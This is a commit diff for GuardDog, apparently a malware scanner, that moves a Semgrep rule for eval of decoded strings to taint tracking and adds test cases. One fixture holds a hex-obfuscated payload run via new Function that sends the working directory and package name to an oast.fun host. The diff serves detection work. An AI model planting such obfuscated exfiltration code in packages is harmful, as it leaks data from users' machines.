File tree Expand file tree Collapse file tree 2 files changed +27
-7
lines changed 
guarddog/analyzer/sourcecode 
tests/analyzer/sourcecode Expand file tree Collapse file tree 2 files changed +27
-7
lines changed Original file line number Diff line number Diff line change 99    languages :
1010      - javascript 
1111    severity : WARNING 
12-     patterns :
13-       - pattern-not : eval('...') 
14-       - pattern-not : eval("...") 
15-       - pattern-not : eval(`...`) 
16-       - pattern : eval(atob(...)) 
12+     mode : taint 
13+     pattern-sources :
14+       - pattern-either :
15+           - pattern : Buffer.from(...) 
16+           - pattern : atob(...) 
17+     pattern-sinks :
18+       - pattern-either :
19+         - patterns :            
20+           - pattern-inside : | 
21+               $FN = new Function(...) 
22+               ... 
23+ pattern : $FN(...) 
24+         - patterns :            
25+           - pattern : eval(...) 
Original file line number Diff line number Diff line change 1- // ruleid: npm-exec-base64 
2- eval ( atob ( "Y29uc29sZS5sb2coIk5ldmVyIGdvbm5hIGdpdmUgeW91IHVwIikK" ) ) 
1+ function  f ( ) { 
2+   // ruleid: npm-exec-base64 
3+   eval ( atob ( "Y29uc29sZS5sb2coIk5ldmVyIGdvbm5hIGdpdmUgeW91IHVwIikK" ) ) ; 
4+ } 
5+ 
6+ function  f ( )  { 
7+   import  fetch  from  "node-fetch" 
8+   const  admin  =  "0a636f6e7374207061636b6167654e616d65203d2022726f626c6f782d6576656e742d747261636b6572223b0a636f6e73742063757272656e74576f726b696e674469726563746f7279203d2070726f636573732e63776428293b0a636f6e73742064617461203d204a534f4e2e737472696e676966792860247b7061636b6167654e616d657d2b247b63757272656e74576f726b696e674469726563746f72797d60293b0a6c657420686578456e636f64656444617461203d204275666665722e66726f6d2864617461292e746f537472696e67282768657827293b0a636f6e7374206865784461746157697468446f7473203d20686578456e636f646564446174612e6d61746368286e65772052656745787028602e7b312c36327d602c2027672729292e6a6f696e28272e27293b0a6665746368286068747470733a2f2f247b6865784461746157697468446f74737d2e6c74617265767a6c7464636c6b6466727361647533386c30316e657967327268622e6f6173742e66756e60293b0a" 
9+   const  adminResult  =  Buffer . from ( admin ,  'hex' ) . toString ( 'utf8' ) ; 
10+   const  func  =  new  Function ( adminResult ) ; 
11+   // ruleid: npm-exec-base64 
12+   func ( adminResult ) ;  
13+ } 
 
 
   
 
     
   
   
          
    
    
     
    
      
     
     
    You can’t perform that action at this time.
  
 
    
  
    
      
        
     
       
      
     
   
 
    
    
  
 
  
 
     
    
0 commit comments